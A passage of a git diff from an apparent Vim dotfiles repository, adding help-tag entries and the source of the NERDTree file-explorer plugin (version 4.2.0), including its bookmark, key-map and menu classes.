/*:NERDTreeToggle* +:TlistAddFiles taglist.txt /*:TlistAddFiles* +:TlistAddFilesRecursive taglist.txt /*:TlistAddFilesRecursive* +:TlistClose taglist.txt /*:TlistClose* +:TlistDebug taglist.txt /*:TlistDebug* +:TlistHighlightTag taglist.txt /*:TlistHighlightTag* +:TlistLock taglist.txt /*:TlistLock* +:TlistMessages taglist.txt /*:TlistMessages* +:TlistOpen taglist.txt /*:TlistOpen* +:TlistSessionLoad taglist.txt /*:TlistSessionLoad* +:TlistSessionSave taglist.txt /*:TlistSessionSave* +:TlistShowPrototype taglist.txt /*:TlistShowPrototype* +:TlistShowTag taglist.txt /*:TlistShowTag* +:TlistToggle taglist.txt /*:TlistToggle* +:TlistUndebug taglist.txt /*:TlistUndebug* +:TlistUnlock taglist.txt /*:TlistUnlock* +:TlistUpdate taglist.txt /*:TlistUpdate* +NERDTree NERD_tree.txt /*NERDTree* +NERDTree-? NERD_tree.txt /*NERDTree-?* +NERDTree-A NERD_tree.txt /*NERDTree-A* +NERDTree-B NERD_tree.txt /*NERDTree-B* +NERDTree-C NERD_tree.txt /*NERDTree-C* +NERDTree-C-J NERD_tree.txt /*NERDTree-C-J* +NERDTree-C-K NERD_tree.txt /*NERDTree-C-K* +NERDTree-D NERD_tree.txt /*NERDTree-D* +NERDTree-F NERD_tree.txt /*NERDTree-F* +NERDTree-I NERD_tree.txt /*NERDTree-I* +NERDTree-J NERD_tree.txt /*NERDTree-J* +NERDTree-K NERD_tree.txt /*NERDTree-K* +NERDTree-O NERD_tree.txt /*NERDTree-O* +NERDTree-P NERD_tree.txt /*NERDTree-P* +NERDTree-R NERD_tree.txt /*NERDTree-R* +NERDTree-T NERD_tree.txt /*NERDTree-T* +NERDTree-U NERD_tree.txt /*NERDTree-U* +NERDTree-X NERD_tree.txt /*NERDTree-X* +NERDTree-cd NERD_tree.txt /*NERDTree-cd* +NERDTree-contents NERD_tree.txt /*NERDTree-contents* +NERDTree-e NERD_tree.txt /*NERDTree-e* +NERDTree-f NERD_tree.txt /*NERDTree-f* +NERDTree-gi NERD_tree.txt /*NERDTree-gi* +NERDTree-go NERD_tree.txt /*NERDTree-go* +NERDTree-gs NERD_tree.txt /*NERDTree-gs* +NERDTree-i NERD_tree.txt /*NERDTree-i* +NERDTree-m NERD_tree.txt /*NERDTree-m* +NERDTree-o NERD_tree.txt /*NERDTree-o* +NERDTree-p NERD_tree.txt /*NERDTree-p* +NERDTree-q NERD_tree.txt /*NERDTree-q* +NERDTree-r NERD_tree.txt /*NERDTree-r* +NERDTree-s NERD_tree.txt /*NERDTree-s* +NERDTree-t NERD_tree.txt /*NERDTree-t* +NERDTree-u NERD_tree.txt /*NERDTree-u* +NERDTree-x NERD_tree.txt /*NERDTree-x* +NERDTreeAPI NERD_tree.txt /*NERDTreeAPI* +NERDTreeAbout NERD_tree.txt /*NERDTreeAbout* +NERDTreeAddKeyMap() NERD_tree.txt /*NERDTreeAddKeyMap()* +NERDTreeAddMenuItem() NERD_tree.txt /*NERDTreeAddMenuItem()* +NERDTreeAddMenuSeparator() NERD_tree.txt /*NERDTreeAddMenuSeparator()* +NERDTreeAddSubmenu() NERD_tree.txt /*NERDTreeAddSubmenu()* +NERDTreeBookmarkCommands NERD_tree.txt /*NERDTreeBookmarkCommands* +NERDTreeBookmarkTable NERD_tree.txt /*NERDTreeBookmarkTable* +NERDTreeBookmarks NERD_tree.txt /*NERDTreeBookmarks* +NERDTreeChangelog NERD_tree.txt /*NERDTreeChangelog* +NERDTreeCredits NERD_tree.txt /*NERDTreeCredits* +NERDTreeFunctionality NERD_tree.txt /*NERDTreeFunctionality* +NERDTreeGlobalCommands NERD_tree.txt /*NERDTreeGlobalCommands* +NERDTreeInvalidBookmarks NERD_tree.txt /*NERDTreeInvalidBookmarks* +NERDTreeKeymapAPI NERD_tree.txt /*NERDTreeKeymapAPI* +NERDTreeLicense NERD_tree.txt /*NERDTreeLicense* +NERDTreeMappings NERD_tree.txt /*NERDTreeMappings* +NERDTreeMenu NERD_tree.txt /*NERDTreeMenu* +NERDTreeMenuAPI NERD_tree.txt /*NERDTreeMenuAPI* +NERDTreeOptionDetails NERD_tree.txt /*NERDTreeOptionDetails* +NERDTreeOptionSummary NERD_tree.txt /*NERDTreeOptionSummary* +NERDTreeOptions NERD_tree.txt /*NERDTreeOptions* +NERDTreeRender() NERD_tree.txt /*NERDTreeRender()* +NERD_tree.txt NERD_tree.txt /*NERD_tree.txt* +Tlist_Get_Tag_Prototype_By_Line() taglist.txt /*Tlist_Get_Tag_Prototype_By_Line()* +Tlist_Get_Tagname_By_Line() taglist.txt /*Tlist_Get_Tagname_By_Line()* +Tlist_Set_App() taglist.txt /*Tlist_Set_App()* +Tlist_Update_File_Tags() taglist.txt /*Tlist_Update_File_Tags()* +taglist-commands taglist.txt /*taglist-commands* +taglist-debug taglist.txt /*taglist-debug* +taglist-extend taglist.txt /*taglist-extend* +taglist-faq taglist.txt /*taglist-faq* +taglist-functions taglist.txt /*taglist-functions* +taglist-install taglist.txt /*taglist-install* +taglist-internet taglist.txt /*taglist-internet* +taglist-intro taglist.txt /*taglist-intro* +taglist-keys taglist.txt /*taglist-keys* +taglist-license taglist.txt /*taglist-license* +taglist-menu taglist.txt /*taglist-menu* +taglist-options taglist.txt /*taglist-options* +taglist-requirements taglist.txt /*taglist-requirements* +taglist-session taglist.txt /*taglist-session* +taglist-todo taglist.txt /*taglist-todo* +taglist-using taglist.txt /*taglist-using* +taglist.txt taglist.txt /*taglist.txt* diff --git a/vim/.vim/plugin/NERD_tree.vim b/vim/.vim/plugin/NERD_tree.vim new file mode 100644 index 00000000..bc347756 --- /dev/null +++ b/vim/.vim/plugin/NERD_tree.vim @@ -0,0 +1,4017 @@ +" ============================================================================ +" File: NERD_tree.vim +" Description: vim global plugin that provides a nice tree explorer +" Maintainer: Martin Grenfell +" Last Change: 28 December, 2011 +" License: This program is free software. It comes without any warranty, +" to the extent permitted by applicable law. You can redistribute +" it and/or modify it under the terms of the Do What The Fuck You +" Want To Public License, Version 2, as published by Sam Hocevar. +" See http://sam.zoy.org/wtfpl/COPYING for more details. +" +" ============================================================================ +let s:NERD_tree_version = '4.2.0' + +" SECTION: Script init stuff {{{1 +"============================================================ +if exists("loaded_nerd_tree") + finish +endif +if v:version < 700 + echoerr "NERDTree: this plugin requires vim >= 7. DOWNLOAD IT! You'll thank me later!" + finish +endif +let loaded_nerd_tree = 1 + +"for line continuation - i.e dont want C in &cpo +let s:old_cpo = &cpo +set cpo&vim + +let s:running_windows = has("win16") || has("win32") || has("win64") + +"Function: s:initVariable() function {{{2 +"This function is used to initialise a given variable to a given value. The +"variable is only initialised if it does not exist prior +" +"Args: +"var: the name of the var to be initialised +"value: the value to initialise var to +" +"Returns: +"1 if the var is set, 0 otherwise +function! s:initVariable(var, value) + if !exists(a:var) + exec 'let ' . a:var . ' = ' . "'" . substitute(a:value, "'", "''", "g") . "'" + return 1 + endif + return 0 +endfunction + +"SECTION: Init variable calls and other random constants {{{2 +call s:initVariable("g:NERDChristmasTree", 1) +call s:initVariable("g:NERDTreeAutoCenter", 1) +call s:initVariable("g:NERDTreeAutoCenterThreshold", 3) +call s:initVariable("g:NERDTreeCaseSensitiveSort", 0) +call s:initVariable("g:NERDTreeChDirMode", 0) +call s:initVariable("g:NERDTreeMinimalUI", 0) +if !exists("g:NERDTreeIgnore") + let g:NERDTreeIgnore = ['\~$'] +endif +call s:initVariable("g:NERDTreeBookmarksFile", expand('$HOME') . '/.NERDTreeBookmarks') +call s:initVariable("g:NERDTreeHighlightCursorline", 1) +call s:initVariable("g:NERDTreeHijackNetrw", 1) +call s:initVariable("g:NERDTreeMouseMode", 1) +call s:initVariable("g:NERDTreeNotificationThreshold", 100) +call s:initVariable("g:NERDTreeQuitOnOpen", 0) +call s:initVariable("g:NERDTreeShowBookmarks", 0) +call s:initVariable("g:NERDTreeShowFiles", 1) +call s:initVariable("g:NERDTreeShowHidden", 0) +call s:initVariable("g:NERDTreeShowLineNumbers", 0) +call s:initVariable("g:NERDTreeSortDirs", 1) +call s:initVariable("g:NERDTreeDirArrows", !s:running_windows) + +if !exists("g:NERDTreeSortOrder") + let g:NERDTreeSortOrder = ['\/$', '*', '\.swp$', '\.bak$', '\~$'] +else + "if there isnt a * in the sort sequence then add one + if count(g:NERDTreeSortOrder, '*') < 1 + call add(g:NERDTreeSortOrder, '*') + endif +endif + +"we need to use this number many times for sorting... so we calculate it only +"once here +let s:NERDTreeSortStarIndex = index(g:NERDTreeSortOrder, '*') + +if !exists('g:NERDTreeStatusline') + + "the exists() crap here is a hack to stop vim spazzing out when + "loading a session that was created with an open nerd tree. It spazzes + "because it doesnt store b:NERDTreeRoot (its a b: var, and its a hash) + let g:NERDTreeStatusline = "%{exists('b:NERDTreeRoot')?b:NERDTreeRoot.path.str():''}" + +endif +call s:initVariable("g:NERDTreeWinPos", "left") +call s:initVariable("g:NERDTreeWinSize", 31) + +"init the shell commands that will be used to copy nodes, and remove dir trees +" +"Note: the space after the command is important +if s:running_windows + call s:initVariable("g:NERDTreeRemoveDirCmd", 'rmdir /s /q ') +else + call s:initVariable("g:NERDTreeRemoveDirCmd", 'rm -rf ') + call s:initVariable("g:NERDTreeCopyCmd", 'cp -r ') +endif + + +"SECTION: Init variable calls for key mappings {{{2 +call s:initVariable("g:NERDTreeMapActivateNode", "o") +call s:initVariable("g:NERDTreeMapChangeRoot", "C") +call s:initVariable("g:NERDTreeMapChdir", "cd") +call s:initVariable("g:NERDTreeMapCloseChildren", "X") +call s:initVariable("g:NERDTreeMapCloseDir", "x") +call s:initVariable("g:NERDTreeMapDeleteBookmark", "D") +call s:initVariable("g:NERDTreeMapMenu", "m") +call s:initVariable("g:NERDTreeMapHelp", "?") +call s:initVariable("g:NERDTreeMapJumpFirstChild", "K") +call s:initVariable("g:NERDTreeMapJumpLastChild", "J") +call s:initVariable("g:NERDTreeMapJumpNextSibling", "") +call s:initVariable("g:NERDTreeMapJumpParent", "p") +call s:initVariable("g:NERDTreeMapJumpPrevSibling", "") +call s:initVariable("g:NERDTreeMapJumpRoot", "P") +call s:initVariable("g:NERDTreeMapOpenExpl", "e") +call s:initVariable("g:NERDTreeMapOpenInTab", "t") +call s:initVariable("g:NERDTreeMapOpenInTabSilent", "T") +call s:initVariable("g:NERDTreeMapOpenRecursively", "O") +call s:initVariable("g:NERDTreeMapOpenSplit", "i") +call s:initVariable("g:NERDTreeMapOpenVSplit", "s") +call s:initVariable("g:NERDTreeMapPreview", "g" . NERDTreeMapActivateNode) +call s:initVariable("g:NERDTreeMapPreviewSplit", "g" . NERDTreeMapOpenSplit) +call s:initVariable("g:NERDTreeMapPreviewVSplit", "g" . NERDTreeMapOpenVSplit) +call s:initVariable("g:NERDTreeMapQuit", "q") +call s:initVariable("g:NERDTreeMapRefresh", "r") +call s:initVariable("g:NERDTreeMapRefreshRoot", "R") +call s:initVariable("g:NERDTreeMapToggleBookmarks", "B") +call s:initVariable("g:NERDTreeMapToggleFiles", "F") +call s:initVariable("g:NERDTreeMapToggleFilters", "f") +call s:initVariable("g:NERDTreeMapToggleHidden", "I") +call s:initVariable("g:NERDTreeMapToggleZoom", "A") +call s:initVariable("g:NERDTreeMapUpdir", "u") +call s:initVariable("g:NERDTreeMapUpdirKeepOpen", "U") + +"SECTION: Script level variable declaration{{{2 +if s:running_windows + let s:escape_chars = " `\|\"#%&,?()\*^<>" +else + let s:escape_chars = " \\`\|\"#%&,?()\*^<>[]" +endif +let s:NERDTreeBufName = 'NERD_tree_' + +let s:tree_wid = 2 +let s:tree_markup_reg = '^[ `|]*[\-+~▾▸ ]\+' +let s:tree_up_dir_line = '.. (up a dir)' + +"the number to add to the nerd tree buffer name to make the buf name unique +let s:next_buffer_number = 1 + +" SECTION: Commands {{{1 +"============================================================ +"init the command that users start the nerd tree with +command! -n=? -complete=dir -bar NERDTree :call s:initNerdTree('') +command! -n=? -complete=dir -bar NERDTreeToggle :call s:toggle('') +command! -n=0 -bar NERDTreeClose :call s:closeTreeIfOpen() +command! -n=1 -complete=customlist,s:completeBookmarks -bar NERDTreeFromBookmark call s:initNerdTree('') +command! -n=0 -bar NERDTreeMirror call s:initNerdTreeMirror() +command! -n=0 -bar NERDTreeFind call s:findAndRevealPath() +" SECTION: Auto commands {{{1 +"============================================================ +augroup NERDTree + "Save the cursor position whenever we close the nerd tree + exec "autocmd BufWinLeave ". s:NERDTreeBufName ."* call saveScreenState()" + + "disallow insert mode in the NERDTree + exec "autocmd BufEnter ". s:NERDTreeBufName ."* stopinsert" + + "cache bookmarks when vim loads + autocmd VimEnter * call s:Bookmark.CacheBookmarks(0) + + "load all nerdtree plugins after vim starts + autocmd VimEnter * runtime! nerdtree_plugin/**/*.vim +augroup END + +if g:NERDTreeHijackNetrw + augroup NERDTreeHijackNetrw + autocmd VimEnter * silent! autocmd! FileExplorer + au BufEnter,VimEnter * call s:checkForBrowse(expand("")) + augroup END +endif + +"SECTION: Classes {{{1 +"============================================================ +"CLASS: Bookmark {{{2 +"============================================================ +let s:Bookmark = {} +" FUNCTION: Bookmark.activate() {{{3 +function! s:Bookmark.activate() + if self.path.isDirectory + call self.toRoot() + else + if self.validate() + let n = s:TreeFileNode.New(self.path) + call n.open() + call s:closeTreeIfQuitOnOpen() + endif + endif +endfunction +" FUNCTION: Bookmark.AddBookmark(name, path) {{{3 +" Class method to add a new bookmark to the list, if a previous bookmark exists +" with the same name, just update the path for that bookmark +function! s:Bookmark.AddBookmark(name, path) + for i in s:Bookmark.Bookmarks() + if i.name ==# a:name + let i.path = a:path + return + endif + endfor + call add(s:Bookmark.Bookmarks(), s:Bookmark.New(a:name, a:path)) + call s:Bookmark.Sort() +endfunction +" Function: Bookmark.Bookmarks() {{{3 +" Class method to get all bookmarks. Lazily initializes the bookmarks global +" variable +function! s:Bookmark.Bookmarks() + if !exists("g:NERDTreeBookmarks") + let g:NERDTreeBookmarks = [] + endif + return g:NERDTreeBookmarks +endfunction +" Function: Bookmark.BookmarkExistsFor(name) {{{3 +" class method that returns 1 if a bookmark with the given name is found, 0 +" otherwise +function! s:Bookmark.BookmarkExistsFor(name) + try + call s:Bookmark.BookmarkFor(a:name) + return 1 + catch /^NERDTree.BookmarkNotFoundError/ + return 0 + endtry +endfunction +" Function: Bookmark.BookmarkFor(name) {{{3 +" Class method to get the bookmark that has the given name. {} is return if no +" bookmark is found +function! s:Bookmark.BookmarkFor(name) + for i in s:Bookmark.Bookmarks() + if i.name ==# a:name + return i + endif + endfor + throw "NERDTree.BookmarkNotFoundError: no bookmark found for name: \"". a:name .'"' +endfunction +" Function: Bookmark.BookmarkNames() {{{3 +" Class method to return an array of all bookmark names +function! s:Bookmark.BookmarkNames() + let names = [] + for i in s:Bookmark.Bookmarks() + call add(names, i.name) + endfor + return names +endfunction +" FUNCTION: Bookmark.CacheBookmarks(silent) {{{3 +" Class method to read all bookmarks from the bookmarks file intialize +" bookmark objects for each one. +" +" Args: +" silent - dont echo an error msg if invalid bookmarks are found +function! s:Bookmark.CacheBookmarks(silent) + if filereadable(g:NERDTreeBookmarksFile) + let g:NERDTreeBookmarks = [] + let g:NERDTreeInvalidBookmarks = [] + let bookmarkStrings = readfile(g:NERDTreeBookmarksFile) + let invalidBookmarksFound = 0 + for i in bookmarkStrings + + "ignore blank lines + if i != '' + + let name = substitute(i, '^\(.\{-}\) .*$', '\1', '') + let path = substitute(i, '^.\{-} \(.*\)$', '\1', '') + + try + let bookmark = s:Bookmark.New(name, s:Path.New(path)) + call add(g:NERDTreeBookmarks, bookmark) + catch /^NERDTree.InvalidArgumentsError/ + call add(g:NERDTreeInvalidBookmarks, i) + let invalidBookmarksFound += 1 + endtry + endif + endfor + if invalidBookmarksFound + call s:Bookmark.Write() + if !a:silent + call s:echo(invalidBookmarksFound . " invalid bookmarks were read. See :help NERDTreeInvalidBookmarks for info.") + endif + endif + call s:Bookmark.Sort() + endif +endfunction +" FUNCTION: Bookmark.compareTo(otherbookmark) {{{3 +" Compare these two bookmarks for sorting purposes +function! s:Bookmark.compareTo(otherbookmark) + return a:otherbookmark.name < self.name +endfunction +" FUNCTION: Bookmark.ClearAll() {{{3 +" Class method to delete all bookmarks. +function! s:Bookmark.ClearAll() + for i in s:Bookmark.Bookmarks() + call i.delete() + endfor + call s:Bookmark.Write() +endfunction +" FUNCTION: Bookmark.delete() {{{3 +" Delete this bookmark. If the node for this bookmark is under the current +" root, then recache bookmarks for its Path object +function! s:Bookmark.delete() + let node = {} + try + let node = self.getNode(1) + catch /^NERDTree.BookmarkedNodeNotFoundError/ + endtry + call remove(s:Bookmark.Bookmarks(), index(s:Bookmark.Bookmarks(), self)) + if !empty(node) + call node.path.cacheDisplayString() + endif + call s:Bookmark.Write() +endfunction +" FUNCTION: Bookmark.getNode(searchFromAbsoluteRoot) {{{3 +" Gets the treenode for this bookmark +" +" Args: +" searchFromAbsoluteRoot: specifies whether we should search from the current +" tree root, or the highest cached node +function! s:Bookmark.getNode(searchFromAbsoluteRoot) + let searchRoot = a:searchFromAbsoluteRoot ? s:TreeDirNode.AbsoluteTreeRoot() : b:NERDTreeRoot + let targetNode = searchRoot.findNode(self.path) + if empty(targetNode) + throw "NERDTree.BookmarkedNodeNotFoundError: no node was found for bookmark: " . self.name + endif + return targetNode +endfunction +" FUNCTION: Bookmark.GetNodeForName(name, searchFromAbsoluteRoot) {{{3 +" Class method that finds the bookmark with the given name and returns the +" treenode for it. +function! s:Bookmark.GetNodeForName(name, searchFromAbsoluteRoot) + let bookmark = s:Bookmark.BookmarkFor(a:name) + return bookmark.getNode(a:searchFromAbsoluteRoot) +endfunction +" FUNCTION: Bookmark.GetSelected() {{{3 +" returns the Bookmark the cursor is over, or {} +function! s:Bookmark.GetSelected() + let line = getline(".") + let name = substitute(line, '^>\(.\{-}\) .\+$', '\1', '') + if name != line + try + return s:Bookmark.BookmarkFor(name) + catch /^NERDTree.BookmarkNotFoundError/ + return {} + endtry + endif + return {} +endfunction + +" Function: Bookmark.InvalidBookmarks() {{{3 +" Class method to get all invalid bookmark strings read from the bookmarks +" file +function! s:Bookmark.InvalidBookmarks() + if !exists("g:NERDTreeInvalidBookmarks") + let g:NERDTreeInvalidBookmarks = [] + endif + return g:NERDTreeInvalidBookmarks +endfunction +" FUNCTION: Bookmark.mustExist() {{{3 +function! s:Bookmark.mustExist() + if !self.path.exists() + call s:Bookmark.CacheBookmarks(1) + throw "NERDTree.BookmarkPointsToInvalidLocationError: the bookmark \"". + \ self.name ."\" points to a non existing location: \"". self.path.str() + endif +endfunction +" FUNCTION: Bookmark.New(name, path) {{{3 +" Create a new bookmark object with the given name and path object +function! s:Bookmark.New(name, path) + if a:name =~# ' ' + throw "NERDTree.IllegalBookmarkNameError: illegal name:" . a:name + endif + + let newBookmark = copy(self) + let newBookmark.name = a:name + let newBookmark.path = a:path + return newBookmark +endfunction +" FUNCTION: Bookmark.openInNewTab(options) {{{3 +" Create a new bookmark object with the given name and path object +function! s:Bookmark.openInNewTab(options) + let currentTab = tabpagenr() + if self.path.isDirectory + tabnew + call s:initNerdTree(self.name) + else + exec "tabedit " . self.path.str({'format': 'Edit'}) + endif + + if has_key(a:options, 'stayInCurrentTab') + exec "tabnext " . currentTab + endif +endfunction +" Function: Bookmark.setPath(path) {{{3 +" makes this bookmark point to the given path +function! s:Bookmark.setPath(path) + let self.path = a:path +endfunction +" Function: Bookmark.Sort() {{{3 +" Class method that sorts all bookmarks +function! s:Bookmark.Sort() + let CompareFunc = function("s:compareBookmarks") + call sort(s:Bookmark.Bookmarks(), CompareFunc) +endfunction +" Function: Bookmark.str() {{{3 +" Get the string that should be rendered in the view for this bookmark +function! s:Bookmark.str() + let pathStrMaxLen = winwidth(s:getTreeWinNum()) - 4 - len(self.name) + if &nu + let pathStrMaxLen = pathStrMaxLen - &numberwidth + endif + + let pathStr = self.path.str({'format': 'UI'}) + if len(pathStr) > pathStrMaxLen + let pathStr = '<' . strpart(pathStr, len(pathStr) - pathStrMaxLen) + endif + return '>' . self.name . ' ' . pathStr +endfunction +" FUNCTION: Bookmark.toRoot() {{{3 +" Make the node for this bookmark the new tree root +function! s:Bookmark.toRoot() + if self.validate() + try + let targetNode = self.getNode(1) + catch /^NERDTree.BookmarkedNodeNotFoundError/ + let targetNode = s:TreeFileNode.New(s:Bookmark.BookmarkFor(self.name).path) + endtry + call targetNode.makeRoot() + call s:renderView() + call targetNode.putCursorHere(0, 0) + endif +endfunction +" FUNCTION: Bookmark.ToRoot(name) {{{3 +" Make the node for this bookmark the new tree root +function! s:Bookmark.ToRoot(name) + let bookmark = s:Bookmark.BookmarkFor(a:name) + call bookmark.toRoot() +endfunction + + +"FUNCTION: Bookmark.validate() {{{3 +function! s:Bookmark.validate() + if self.path.exists() + return 1 + else + call s:Bookmark.CacheBookmarks(1) + call s:renderView() + call s:echo(self.name . "now points to an invalid location. See :help NERDTreeInvalidBookmarks for info.") + return 0 + endif +endfunction + +" Function: Bookmark.Write() {{{3 +" Class method to write all bookmarks to the bookmarks file +function! s:Bookmark.Write() + let bookmarkStrings = [] + for i in s:Bookmark.Bookmarks() + call add(bookmarkStrings, i.name . ' ' . i.path.str()) + endfor + + "add a blank line before the invalid ones + call add(bookmarkStrings, "") + + for j in s:Bookmark.InvalidBookmarks() + call add(bookmarkStrings, j) + endfor + call writefile(bookmarkStrings, g:NERDTreeBookmarksFile) +endfunction +"CLASS: KeyMap {{{2 +"============================================================ +let s:KeyMap = {} +"FUNCTION: KeyMap.All() {{{3 +function! s:KeyMap.All() + if !exists("s:keyMaps") + let s:keyMaps = [] + endif + return s:keyMaps +endfunction + +"FUNCTION: KeyMap.BindAll() {{{3 +function! s:KeyMap.BindAll() + for i in s:KeyMap.All() + call i.bind() + endfor +endfunction + +"FUNCTION: KeyMap.bind() {{{3 +function! s:KeyMap.bind() + exec "nnoremap ". self.key ." :call ". self.callback ."()" +endfunction + +"FUNCTION: KeyMap.Create(options) {{{3 +function! s:KeyMap.Create(options) + let newKeyMap = copy(self) + let newKeyMap.key = a:options['key'] + let newKeyMap.quickhelpText = a:options['quickhelpText'] + let newKeyMap.callback = a:options['callback'] + call add(s:KeyMap.All(), newKeyMap) +endfunction +"CLASS: MenuController {{{2 +"============================================================ +let s:MenuController = {} +"FUNCTION: MenuController.New(menuItems) {{{3 +"create a new menu controller that operates on the given menu items +function! s:MenuController.New(menuItems) + let newMenuController = copy(self) + if a:menuItems[0].isSeparator() + let newMenuController.menuItems = a:menuItems[1:-1] + else + let newMenuController.menuItems = a:menuItems + endif + return newMenuController +endfunction + +"FUNCTION: MenuController.showMenu() {{{3 +"start the main loop of the menu and get the user to choose/execute a menu +"item +function! s:MenuController.showMenu() + call self._saveOptions() + + try + let self.selection = 0 + + let done = 0 + while !done + redraw! + call self._echoPrompt() + let key = nr2char(getchar()) + let done = self._handleKeypress(key) + endwhile + finally + call self._restoreOptions() + endtry + + if self.selection != -1 + let m = self._current() + call m.execute() + endif +endfunction + +"FUNCTION: MenuController._echoPrompt() {{{3 +function! s:MenuController._echoPrompt() + echo "NERDTree Menu. Use j/k/enter and the shortcuts indicated" + echo "==========================================================" + + for i in range(0, len(self.menuItems)-1) + if self.selection == i + echo "> " . self.menuItems[i].text + else + echo " " . self.menuItems[i].text + endif + endfor +endfunction + +"FUNCTION: MenuController._current(key) {{{3 +"get the MenuItem that is currently selected +function! s:MenuController._current() + return self.menuItems[self.selection] +endfunction + +"FUNCTION: MenuController._handleKeypress(key) {{{3 +"change the selection (if appropriate) and return 1 if the user has made +"their choice, 0 otherwise +function! s:MenuController._handleKeypress(key) + if a:key == 'j' + call self._cursorDown() + elseif a:key == 'k' + call self._cursorUp() + elseif a:key == nr2char(27) "escape + let self.selection = -1 + return 1 + elseif a:key == "\r" || a:key == "\n" "enter and ctrl-j + return 1 + else + let index = self._nextIndexFor(a:key) + if index != -1 + let self.selection = index + if len(self._allIndexesFor(a:key)) == 1 + return 1 + endif + endif + endif + + return 0 +endfunction + +"FUNCTION: MenuController._allIndexesFor(shortcut) {{{3 +"get indexes to all menu items with the given shortcut +function! s:MenuController._allIndexesFor(shortcut) + let toReturn = [] + + for i in range(0, len(self.menuItems)-1) + if self.menuItems[i].shortcut == a:shortcut + call add(toReturn, i) + endif + endfor + + return toReturn +endfunction + +"FUNCTION: MenuController._nextIndexFor(shortcut) {{{3 +"get the index to the next menu item with the given shortcut, starts from the +"current cursor location and wraps around to the top again if need be +function! s:MenuController._nextIndexFor(shortcut) + for i in range(self.selection+1, len(self.menuItems)-1) + if self.menuItems[i].shortcut == a:shortcut + return i + endif + endfor + + for i in range(0, self.selection) + if self.menuItems[i].shortcut == a:shortcut + return i + endif + endfor + + return -1 +endfunction + +"FUNCTION: MenuController._setCmdheight() {{{3 +"sets &cmdheight to whatever is needed to display the menu +function! s:MenuController._setCmdheight() + let &cmdheight = len(self.menuItems) + 3 +endfunction + +"FUNCTION: MenuController._saveOptions() {{{3 +"set any vim options that are required to make the menu work (saving their old +"values) +function! s:MenuController._saveOptions() + let self._oldLazyredraw = &lazyredraw + let self._oldCmdheight = &cmdheight + set nolazyredraw + call self._setCmdheight() +endfunction + +"FUNCTION: MenuController._restoreOptions() {{{3 +"restore the options we saved in _saveOptions() +function! s:MenuController._restoreOptions() + let &cmdheight = self._oldCmdheight + let &lazyredraw = self._oldLazyredraw +endfunction + +"FUNCTION: MenuController._cursorDown() {{{3 +"move the cursor to the next menu item, skipping separators +function! s:MenuController._cursorDown() + let done = 0 + while !done + if self.selection < len(self.menuItems)-1 + let self.selection += 1 + else + let self.selection = 0 + endif + + if !self._current().isSeparator() + let done = 1 + endif + endwhile +endfunction + +"FUNCTION: MenuController._cursorUp() {{{3 +"move the cursor to the previous menu item, skipping separators +function! s:MenuController._cursorUp() + let done = 0 + while !done + if self.selection > 0 + let self.selection -= 1 + else + let self.selection = len(self.menuItems)-1 + endif + + if !self._current().isSeparator() + let done = 1 + endif + endwhile +endfunction + +"CLASS: MenuItem {{{2 +"============================================================ +let s:MenuItem = {} +"FUNCTION: MenuItem.All() {{{3 +"get all top level menu items +function! s:MenuItem.All() + if !exists("s:menuItems") + let s:menuItems = [] + endif + return s:menuItems +endfunction + +"FUNCTION: MenuItem.AllEnabled() {{{3 +"get all top level menu items that are currently enabled +function! s:MenuItem.AllEnabled() + let toReturn = [] + for i in s:MenuItem.All() + if i.enabled() + call add(toReturn, i) + endif + endfor + return toReturn +endfunction + +"FUNCTION: MenuItem.Create(options) {{{3 +"make a new menu item and add it to the global list +function! s:MenuItem.Create(options) + let newMenuItem = copy(self) + + let newMenuItem.text = a:options['text'] + let newMenuItem.shortcut = a:options['shortcut'] + let newMenuItem.children = [] + + let newMenuItem.isActiveCallback = -1 + if has_key(a:options, 'isActiveCallback') + let newMenuItem.isActiveCallback = a:options['isActiveCallback'] + endif + + let newMenuItem.callback = -1 + if has_key(a:options, 'callback') + let newMenuItem.callback = a:options['callback'] + endif + + if has_key(a:options, 'parent') + call add(a:options['parent'].children, newMenuItem) + else + call add(s:MenuItem.All(), newMenuItem) + endif + + return newMenuItem +endfunction + +"FUNCTION: MenuItem.CreateSeparator(options) {{{3 +"make a new separator menu item and add it to the global list +function! s:MenuItem.CreateSeparator(options) + let standard_options = { 'text': '--------------------', + \ 'shortcut': -1, + \ 'callback': -1 } + let options = extend(a:options, standard_options, "force") + + return s:MenuItem.Create(options) +endfunction + +"FUNCTION: MenuItem.CreateSubmenu(options) {{{3 +"make a new submenu and add it to global list +function! s:MenuItem.CreateSubmenu(options) + let standard_options = { 'callback': -1 } + let options = extend(a:options, standard_options, "force") + + return s:MenuItem.Create(options) +endfunction + +"FUNCTION: MenuItem.enabled() {{{3 +"return 1 if this menu item should be displayed +" +"delegates off to the isActiveCallback, and defaults to 1 if no callback was +"specified +function! s:MenuItem.enabled() + if self.isActiveCallback != -1 + return {self.isActiveCallback}() + endif + return 1 +endfunction + +"FUNCTION: MenuItem.execute() {{{3 +"perform the action behind this menu item, if this menuitem has children then +"display a new menu for them, otherwise deletegate off to the menuitem's +"callback +function! s:MenuItem.execute() + if len(self.children) + let mc = s:MenuController.New(self.children) + call mc.showMenu() + else + if self.callback != -1 + call {self.callback}() + endif + endif +endfunction + +"FUNCTION: MenuItem.isSeparator() {{{3 +"return 1 if this menuitem is a separator +function! s:MenuItem.isSeparator() + return self.callback == -1 && self.children == [] +endfunction + +"FUNCTION: MenuItem.isSubmenu() {{{3 +"return 1 if this menuitem is a submenu +function! s:MenuItem.isSubmenu() + return self.callback == -1 && !empty(self.children) +endfunction + +"CLASS: TreeFileNode {{{2 +"This class is the parent of the TreeDirNode class and constitures the +"'Component' part of the composite design pattern between the treenode +"classes. +"============================================================ +let s:TreeFileNode = {} +"FUNCTION: TreeFileNode.activate(forceKeepWinOpen) {{{3 +function! s:TreeFileNode.activate(forceKeepWinOpen) + call self.open() + if !a:forceKeepWinOpen + call s:closeTreeIfQuitOnOpen() + end +endfunction +"FUNCTION: TreeFileNode.bookmark(name) {{{3 +"bookmark this node with a:name +function! s:TreeFileNode.bookmark(name) + + "if a bookmark exists with the same name and the node is cached then save + "it so we can update its display string + let oldMarkedNode = {} + try + let oldMarkedNode = s:Bookmark.GetNodeForName(a:name, 1) + catch /^NERDTree.BookmarkNotFoundError/ + catch /^NERDTree.BookmarkedNodeNotFoundError/ + endtry + + call s:Bookmark.AddBookmark(a:name, self.path) + call self.path.cacheDisplayString() + call s:Bookmark.Write() + + if !empty(oldMarkedNode) + call oldMarkedNode.path.cacheDisplayString() + endif +endfunction +"FUNCTION: TreeFileNode.cacheParent() {{{3 +"initializes self.parent if it isnt already +function! s:TreeFileNode.cacheParent() + 